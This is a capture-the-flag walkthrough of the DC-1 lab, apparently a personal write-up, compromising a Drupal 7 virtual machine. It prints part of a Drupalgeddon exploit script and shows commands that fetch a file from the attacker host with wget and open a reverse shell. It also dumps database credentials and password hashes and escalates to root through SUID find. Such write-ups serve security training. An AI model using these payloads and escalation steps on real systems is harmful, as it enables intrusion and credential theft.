

dc1

initial recon

```
Currently scanning: Finished! | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240

-----
  IP            At MAC Address          Count    Len  MAC Vendor / Hostname
-----
10.0.2.1        52:54:00:12:35:00        1        60  Unknown vendor
10.0.2.2        52:54:00:12:35:00        1        60  Unknown vendor
10.0.2.3        08:00:27:4c:00:8d        1        60  PCS Systemtechnik GmbH
10.0.2.36       08:00:27:ad:f8:ae        1        60  PCS Systemtechnik GmbH

root@kali:~/notes#
```

nmap and verifying results

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp    open  http      Apache httpd 2.2.22 ((Debian))
|_ http-generator: Drupal 7 (http://drupal.org)
|_ http-robots.txt: 36 disallowed entries (15 shown)
|_ /includes/ /misc/ /modules/ /profiles/ /scripts/
|_ /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
|_ /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_ /LICENSE.txt /MAINTAINERS.txt
|_ http-server-header: Apache/2.2.22 (Debian)
|_ http-title: Welcome to Drupal Site | Drupal Site
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000   2,3,4        111/tcp     rpcbind
|   100000   2,3,4        111/udp     rpcbind
|   100024   1            32839/udp   status
|_  100024   1            40433/tcp   status
MAC Address: 08:00:27:AD:F8:AE (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
```

```
root@kali:~# rpcinfo -p 10.0.2.36
```

program	vers	proto	port	service
100000	4	tcp	111	portmapper
100000	3	tcp	111	portmapper
100000	2	tcp	111	portmapper
100000	4	udp	111	portmapper
100000	3	udp	111	portmapper
100000	2	udp	111	portmapper
100024	1	udp	32839	status
100024	1	tcp	40433	status

google drupal config

Core parts of your project

Do *not touch* the following folders. Except for Drupal core updates or [contribution to the Drupal core](#). If you think that there's a bug in the Drupal core, don't edit the code first - [check the issue queue first](#).

- **/includes**: Helper functions (e.g. image manipulation, password generation etc.)
- **/misc**: JavaScripts, icon-images for messages etc.
- **/modules**: the modules from the Drupal core.
- **/profiles**: the installation profiles from the Drupal core (minimal, standard, testing). Drupal will ask you which profile you want to install when first installing your Drupal site.
- **/scripts**: contains various scripts. e.g. to execute the cron, dump the database, generate a password hash and run the tests.
- **/themes**: here are the Drupal core themes located. Such as the default [Bartik theme](#) and the [Seven theme](#) which is the default one for administration pages.

- **/sites:** Here comes anything which is not part of the Drupal core. Contains an "all"- and a "default"-folder. In the "all"-folder you can place your custom and contrib modules and themes. Additionally here's a "default"-folder where your site configuration resides. After a Drupal site is installed, there will be a settings.php file in the "default"-folder, where usually the database configuration and other site-specific configurations are. You're free to place other configuration files in the default folder. The reason for the naming "all" and "default" is the [Drupal multi-site setup](#).
- [Optional] **/sites/my-website-a.com** and **/sites/my-website-b.com** etc.: Drupal is able for [multi-site configuration](#). If you point your webserver into the Drupal root directory, Drupal can manage to handle separate modules, themes and configuration by sharing one Drupal core and specific modules or themes between an number of Drupal websites. You can even share specific database tables ([such as the user table](#)) or [1 database between multiple Drupal sites](#).
- **/sites/all:** Any modules and themes in this folder will be available to all instances managed by this code base. So if you are running multisite, the modules and themes will be available to each of the multi sites. If you have only 1 website instance managed by Drupal, you can place them in this folder.
- **/sites/all/modules:** Here you can put all your contrib and custom modules. Please notice: don't edit contrib modules directly on bugs or any other issues. Firstly take a look into [the issue queue](#) for the specific project, [create patch](#) or fork the project/module/theme. If you decide to fork a module or theme, consider to release your fork on Drupal.org by a [full project application](#).
- **/sites/all/themes:** That place is ment to hold your custom or contrib themes. You can [create your own themes](#) or a sub-theme [like for the Zen theme](#). Please notice *to keep any PHP logic as most as possible separate from the theme*. Database queries, PHP classes and similiar are better located in a [Drupal module](#).
- [Optional] **/sites/all/modules/custom:** Often Drupal users place here

- **/sites/all/themes:** That place is ment to hold your custom or contrib themes. You can [create your own themes](#) or a sub-theme [like for the Zen theme](#). Please notice *to keep any PHP logic as most as possible separate from the theme*. Database queries, PHP classes and similiar are better located in a [Drupal module](#).
- [Optional] **/sites/all/modules/custom:** Often Drupal users place here their custom modules. The modules which are not released officially on Drupal.org. Be careful with this folder. Sometimes other projects don't recognize this sub-folder. But mostly they do (like Drush and the Drupal module management system). You're most safe, if you even place your custom modules in the /sites/all/modules folder. Then you can prefix your module names, to easier seperate them from the contrib modules. For example: "my_client_fancy_field".
- [Optional] **/sites/all/modules/contrib:** Often Drupal users separate in this sub-folder the contrib-modules. That means modules which are officially released as a full project on Drupal.org. Also be carefully with this subfolder. Sometimes other projects do not recognize this sub-folder. Your safer with just using the /sites/all/modules folder. But don't rename the contrib module folders. That would break their functionality. You can do this with your custom modules.
- [Optional] **/sites/all/modules/features:** If you manage your Drupal 7 website configuration by [the features module](#), it could be a good way to seperate the modules, which will be created by the features module, in this directory. Learn more about [configuration management in Drupal 7](#). Please notice that in Drupal 8 the configuration can be managed by the Drupal core.
- **/.htaccess:** The directory-level configuration file for your project. It contains default configuration such as for readable URLs. You can edit this file if you have special requirements.
- **/.gitignore:** In this file you can specify the files and folders which should be ignored by the [Git version control system](#). Compared with other OpenSource version control systems, Git has one of the most advantages for development with others via the internet.

Enumerating credential using request password



Home



Further instructions have been sent to your e-mail address.

[Home](#)

User account

Create new account

Log in

Request new password

Username *

admin

Enter your Drupal Site username.

Password *

Enter the password that accompanies your username.

Log in

Getting RCE exploit drupalgeddon2

<https://github.com/lorddemon/drupalgeddon2/blob/master/drupalgeddon2.py>

https://github.com/lorddemon/drupalgeddon2/blob/master/drupalgeddon2.py

ghinam add file exploit 0145311 01 Apr 19, 2016

1 contributor

Executable File 66 lines (56 sloc) 1.7 KB

Raw Blame History

```
1 #!/usr/bin/python
2 # coding: utf-8
3
4
5
6 import requests
7 import re
8 import sys
9 import os
10 import getopt
11 from pprint import pprint
12 target=""
13 command=""
14
15 def exploit(url_target,os_command):
16     parametros = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':os
17     datos = {'form_id':'user_pass', '_triggering_element_name':'name'}
18     r = requests.post(url_target, data=datos, params=parametros)
19     m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
20     if m:
21         found = m.group(1)
22         parametros = {'q':'file/ajax/name/#value/' + found}
23         datos = {'form_build_id':found}
24         r = requests.post(url_target, data=datos, params=parametros)
25         r.encoding = 'ISO-8859-1'
26         salida = r.content.split("[{")
27         print salida[0]
28
29 def usage():
30     comm = os.path.basename(sys.argv[0])
31
```

Listing files on main directory of the website

```

root@kali:~/notes/dcl# ./exploit.py -h http://10.0.2.36 -c 'ls -lah'
total 192K
drwxr-xr-x  9 www-data www-data 4.0K Mar 27 00:38 .
drwxr-xr-x 12 root      root    4.0K Feb 19 23:10 ..
-rw-r--r--  1 www-data www-data  174 Nov 21  2013 .gitignore
-rw-r--r--  1 www-data www-data 5.7K Nov 21  2013 .htaccess
-rw-r--r--  1 www-data www-data 1.5K Nov 21  2013 COPYRIGHT.txt
-rw-r--r--  1 www-data www-data 1.5K Nov 21  2013 INSTALL.mysql.txt
-rw-r--r--  1 www-data www-data 1.9K Nov 21  2013 INSTALL.pgsql.txt
-rw-r--r--  1 www-data www-data 1.3K Nov 21  2013 INSTALL.sqlite.txt
-rw-r--r--  1 www-data www-data  18K Nov 21  2013 INSTALL.txt
-rwxr-xr-x  1 www-data www-data  18K Nov  1  2013 LICENSE.txt
-rw-r--r--  1 www-data www-data 8.0K Nov 21  2013 MAINTAINERS.txt
-rw-r--r--  1 www-data www-data 5.3K Nov 21  2013 README.txt
-rw-r--r--  1 www-data www-data 9.5K Nov 21  2013 UPGRADE.txt
-rw-r--r--  1 www-data www-data 6.5K Nov 21  2013 authorize.php
-rw-r--r--  1 www-data www-data  720 Nov 21  2013 cron.php
-rw-r--r--  1 www-data www-data   52 Feb 19 23:20 flag1.txt
drwxr-xr-x  4 www-data www-data 4.0K Nov 21  2013 includes
-rw-r--r--  1 www-data www-data  529 Nov 21  2013 index.php
-rw-r--r--  1 www-data www-data  703 Nov 21  2013 install.php
drwxr-xr-x  4 www-data www-data 4.0K Nov 21  2013 misc
drwxr-xr-x 42 www-data www-data 4.0K Nov 21  2013 modules
drwxr-xr-x  5 www-data www-data 4.0K Nov 21  2013 profiles
-rw-r--r--  1 www-data www-data  244 Feb  9 14:20 r.py
-rw-r--r--  1 www-data www-data 1.6K Nov 21  2013 robots.txt
drwxr-xr-x  2 www-data www-data 4.0K Nov 21  2013 scripts
drwxr-xr-x  4 www-data www-data 4.0K Nov 21  2013 sites
drwxr-xr-x  7 www-data www-data 4.0K Nov 21  2013 themes
-rw-r--r--  1 www-data www-data 20K Nov 21  2013 update.php
-rw-r--r--  1 www-data www-data 2.2K Nov 21  2013 web.config
-rw-r--r--  1 www-data www-data  417 Nov 21  2013 xmlrpc.php

```

Reading flag1.txt

```

root@kali:~/notes/dcl# ./exploit.py -h http://10.0.2.36 -c 'cat flag1.txt'
Every good CMS needs a config file - and so do you.

```

Listing settings directory

```
root@kali:~/notes/dcl# ./exploit.py -h http://10.0.2.36 -c 'ls -lah sites/default'
total 52K
dr-xr-xr-x 3 www-data www-data 4.0K Feb 19 23:48 .
drwxr-xr-x 4 www-data www-data 4.0K Nov 21 2013 ..
-rw-r--r-- 1 www-data www-data 23K Nov 21 2013 default.settings.php
drwxrwxr-x 3 www-data www-data 4.0K Feb 19 23:10 files
-r--r--r-- 1 www-data www-data 16K Feb 19 23:48 settings.php
```

Getting creds off settings file on drupal

```
/**
 *
 * flag2
 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
 *
 */

$databases = array (
  'default' =>
    array (
      'default' =>
        array (
          'database' => 'drupaldb',
          'username' => 'dbuser',
          'password' => 'R0ck3t',
          'host' => 'localhost',
          'port' => '',
          'driver' => 'mysql',
          'prefix' => '',
        ),
      ),
    ),
);
```

```
$drupal_hash_salt = 'X8gdX70dYRiBnlHoj0ukhtZ7e04EDrvMkhN21SWZocs';
```

Getting Files off remote server


```

total 192
drwxr-xr-x  9 www-data www-data 4096 Mar 27 00:38 .
drwxr-xr-x 12 root      root    4096 Feb 19 23:10 ..
-rw-r--r--  1 www-data www-data  174 Nov 21 2013 .gitignore
-rw-r--r--  1 www-data www-data 5767 Nov 21 2013 .htaccess
-rw-r--r--  1 www-data www-data 1481 Nov 21 2013 COPYRIGHT.txt
-rw-r--r--  1 www-data www-data 1451 Nov 21 2013 INSTALL.mysql.txt
-rw-r--r--  1 www-data www-data 1874 Nov 21 2013 INSTALL.pgsql.txt
-rw-r--r--  1 www-data www-data 1298 Nov 21 2013 INSTALL.sqlite.txt
-rw-r--r--  1 www-data www-data 17861 Nov 21 2013 INSTALL.txt
-rwxr-xr-x  1 www-data www-data 18092 Nov  1 2013 LICENSE.txt
-rw-r--r--  1 www-data www-data  8191 Nov 21 2013 MAINTAINERS.txt
-rw-r--r--  1 www-data www-data  5376 Nov 21 2013 README.txt
-rw-r--r--  1 www-data www-data  9642 Nov 21 2013 UPGRADE.txt
-rw-r--r--  1 www-data www-data  6604 Nov 21 2013 authorize.php
-rw-r--r--  1 www-data www-data   720 Nov 21 2013 cron.php
-rw-r--r--  1 www-data www-data   52 Feb 19 23:20 flag1.txt
drwxr-xr-x  4 www-data www-data 4096 Nov 21 2013 includes
-rw-r--r--  1 www-data www-data   529 Nov 21 2013 index.php
-rw-r--r--  1 www-data www-data   703 Nov 21 2013 install.php
drwxr-xr-x  4 www-data www-data 4096 Nov 21 2013 misc
drwxr-xr-x 42 www-data www-data 4096 Nov 21 2013 modules
drwxr-xr-x  5 www-data www-data 4096 Nov 21 2013 profiles
-rw-r--r--  1 www-data www-data   244 Feb  9 14:20 r.py
-rw-r--r--  1 www-data www-data  1561 Nov 21 2013 robots.txt
drwxr-xr-x  2 www-data www-data 4096 Nov 21 2013 scripts
drwxr-xr-x  4 www-data www-data 4096 Nov 21 2013 sites
drwxr-xr-x  7 www-data www-data 4096 Nov 21 2013 themes
-rw-r--r--  1 www-data www-data 19941 Nov 21 2013 update.php
-rw-r--r--  1 www-data www-data  2178 Nov 21 2013 web.config
-rw-r--r--  1 www-data www-data   417 Nov 21 2013 xmlrpc.php

root@kali:~/notes/dcl# ./exploit.py -h http://10.0.2.36 -c 'wget http://10.0.2.15/r.py'

```

making the remote file executable(r.py)

```

root@kali:~/notes/dcl# ./exploit.py -h http://10.0.2.36 -c 'ls -al'
total 192
drwxr-xr-x  9 www-data www-data  4096 Mar 27 00:38 .
drwxr-xr-x 12 root      root      4096 Feb 19 23:10 ..
-rw-r--r--  1 www-data www-data   174 Nov 21  2013 .gitignore
-rw-r--r--  1 www-data www-data  5767 Nov 21  2013 .htaccess
-rw-r--r--  1 www-data www-data  1481 Nov 21  2013 COPYRIGHT.txt
-rw-r--r--  1 www-data www-data  1451 Nov 21  2013 INSTALL.mysql.txt
-rw-r--r--  1 www-data www-data  1874 Nov 21  2013 INSTALL.pgsql.txt
-rw-r--r--  1 www-data www-data  1298 Nov 21  2013 INSTALL.sqlite.txt
-rw-r--r--  1 www-data www-data 17861 Nov 21  2013 INSTALL.txt
-rwxr-xr-x  1 www-data www-data 18092 Nov  1  2013 LICENSE.txt
-rw-r--r--  1 www-data www-data  8191 Nov 21  2013 MAINTAINERS.txt
-rw-r--r--  1 www-data www-data  5376 Nov 21  2013 README.txt
-rw-r--r--  1 www-data www-data  9642 Nov 21  2013 UPGRADE.txt
-rw-r--r--  1 www-data www-data  6604 Nov 21  2013 authorize.php
-rw-r--r--  1 www-data www-data   720 Nov 21  2013 cron.php
-rw-r--r--  1 www-data www-data    52 Feb 19 23:20 flag1.txt
drwxr-xr-x  4 www-data www-data  4096 Nov 21  2013 includes
-rw-r--r--  1 www-data www-data   529 Nov 21  2013 index.php
-rw-r--r--  1 www-data www-data   703 Nov 21  2013 install.php
drwxr-xr-x  4 www-data www-data  4096 Nov 21  2013 misc
drwxr-xr-x 42 www-data www-data  4096 Nov 21  2013 modules
drwxr-xr-x  5 www-data www-data  4096 Nov 21  2013 profiles
-rwxr-xr-x  1 www-data www-data   244 Feb  9 14:20 r.py
-rw-r--r--  1 www-data www-data  1561 Nov 21  2013 robots.txt
drwxr-xr-x  2 www-data www-data  4096 Nov 21  2013 scripts
drwxr-xr-x  4 www-data www-data  4096 Nov 21  2013 sites
drwxr-xr-x  7 www-data www-data  4096 Nov 21  2013 themes
-rw-r--r--  1 www-data www-data 19941 Nov 21  2013 update.php
-rw-r--r--  1 www-data www-data  2178 Nov 21  2013 web.config
-rw-r--r--  1 www-data www-data   417 Nov 21  2013 xmlrpc.php

```

setting up nc listener on attacking machine

```

root@kali:/var/www/html# nc -nlvp 5555
listening on [any] 5555 ...

```

Executing reverse shell on target machine

```

root@kali:~/notes/dcl# ./exploit.py -h http://10.0.2.36 -c 'python ./r.py'

```

Enumerating databases

```
$ mysql -h localhost -u dbuser -p
Enter password: R0ck3t
show databases;
dir;
ERROR 1064 (42000) at line 2: You have an error in your SQL syntax; check the manual that
comes with this MySQL server for the right syntax to use near 'Database
information_schema
drupaldb' at line 2
$
```

```
$ mysql -h localhost -u dbuser -p
Enter password: R0ck3t
use drupaldb;
show tables;
dir;
```

```
drupaldb
+-----+
| drupal |
+-----+
| users  |
+-----+
| users_roles |
+-----+
| variable |
+-----+
| views_display |
+-----+
| views_view |
+-----+
| watchdog |
+-----+
```

select * from users;

uid	name	pass	mail	theme	signature	signature_format	created	access	login	status	timezone
0											
1	admin	\$S\$DvQI6Y600iNeXRiEeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR	admin@example.com								
826	1550583852	1550582362	1	Australia/Melbourne					admin@example.com	b:0;	
2	Fred	\$S\$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg	fred@example.org							filtered_html	1
550581952	1550582225	1550582225	1	Australia/Melbourne					fred@example.org	b:0;	
3	evdaez	\$S\$Decy1bbI0SCXVkwB8FFhP7pmGUA3wAQG5xBZAQxThTudAY3hhc0v	dicrechadr@mywrld.site							filtered_html	1
553603044	0	0	0	Australia/Melbourne					dicrechadr@mywrld.site	NULL	

```
admin    $$DvQI6Y600iNeXRiEeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred     $$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg fred@example.org
evdaez   $$Decy1bbI0SCXVkwB8FFhP7pmGUA3wAQG5xBZAQxThTudAY3hhc0v dicrechadr@mywrld.site
$drupal_hash_salt = 'X8gdX70dYRiBnlHoj0ukhtZ7e04EDrvMkhN21SWZocs';
```

Enumerating locally

```
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:104::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
$ groups flag4
```

Verifying services

```
$ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 *:ssh                   *:*                      LISTEN
tcp        0      0 localhost:smtp          *:*                      LISTEN
tcp        0      0 localhost:mysql         *:*                      LISTEN
tcp        0      0 *:sunrpc                *:*                      LISTEN
tcp        0      0 *:40433                 *:*                      LISTEN
tcp        0      0 10.0.2.36:38886        10.0.2.15:5555         ESTABLISHED
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN
tcp6       0      0 localhost:smtp          [::]:*                  LISTEN
tcp6       0      0 [::]:43204              [::]:*                  LISTEN
tcp6       0      0 [::]:sunrpc             [::]:*                  LISTEN
tcp6       0      0 [::]:http               [::]:*                  LISTEN
tcp6       0      0 10.0.2.36:http         10.0.2.15:60948        ESTABLISHED
udp        0      0 *:924                   *:*                      LISTEN
udp        0      0 localhost:956           *:*                      LISTEN
udp        0      0 *:bootpc                *:*                      LISTEN
udp        0      0 *:32839                 *:*                      LISTEN
udp        0      0 *:20558                 *:*                      LISTEN
udp        0      0 *:sunrpc                *:*                      LISTEN
udp6       0      0 [::]:924                [::]:*                  LISTEN
udp6       0      0 [::]:4579               [::]:*                  LISTEN
udp6       0      0 [::]:sunrpc             [::]:*                  LISTEN
udp6       0      0 [::]:56066              [::]:*                  LISTEN
```

abusing suid files


```
$ find / -type f -perm -4000 2> /dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmccrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
```

```
$ find /root -type f 2> /dev/null
/root/.profile
/root/.drush/drush.complete.sh
/root/.drush/drush.prompt.sh
/root/.drush/cache/download/https--updates.drupal.org-release-history-views-7.x
/root/.drush/cache/download/https--ftp.drupal.org-files-projects-views-7.x-3.20.tar.gz
/root/.drush/cache/download/https--updates.drupal.org-release-history-drupal-7.x
/root/.drush/cache/download/https--ftp.drupal.org-files-projects-ctools-7.x-1.15.tar.gz
/root/.drush/cache/download/https--updates.drupal.org-release-history-ctools-7.x
/root/.drush/cache/download/https--ftp.drupal.org-files-projects-drupal-7.24.tar.gz
/root/.drush/drushrc.php
/root/.drush/drush.bashrc
/root/thewinflag.txt
/root/.bash_history
/root/.bashrc
/root/.aptitude/config
```

At this point I wanted to look for things in the list that were potentially unusual, so I took a look at my local Fedora installation and compared the two lists – this gave two ways to potentially gain privileges, the first was to abuse nmap and the second was to abuse the find command. An example of doing this can be found below:

```
touch foo
find foo -exec whoami \;
```

Testing out reverse root shell

```
$ find /usr/bin/python -exec chmod +s /usr/bin/python \;
$ ls -l /usr/bin/python
lrwxrwxrwx 1 root root 9 Sep 29 2013 /usr/bin/python -> python2.7
$ ls -l /usr/bin/python2.7
-rwsr-sr-x 1 root root 2728748 Nov 25 2017 /usr/bin/python2.7
```

```
root@kali:/var/www/html# nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.36] 38892
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
#
```

Final flag

```
# ls -l
total 32K
drwx-----  4 root root 4.0K Feb 28 12:11 ./
drwxr-xr-x 23 root root 4.0K Feb 19 22:34 ../
drwx-----  2 root root 4.0K Feb 19 22:30 .aptitude/
-rw-----  1 root root   44 Feb 28 12:11 .bash_history
-rw-r--r--  1 root root  949 Feb 19 23:03 .bashrc
drwxr-xr-x  3 root root 4.0K Feb 19 23:03 .drush/
-rw-r--r--  1 root root  140 Nov 20  2007 .profile
-rw-r--r--  1 root root  173 Feb 19 23:43 thefinalflag.txt
```

```
# cat thefinal*
```

```
Well done!!!!
```

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7

```
# █
```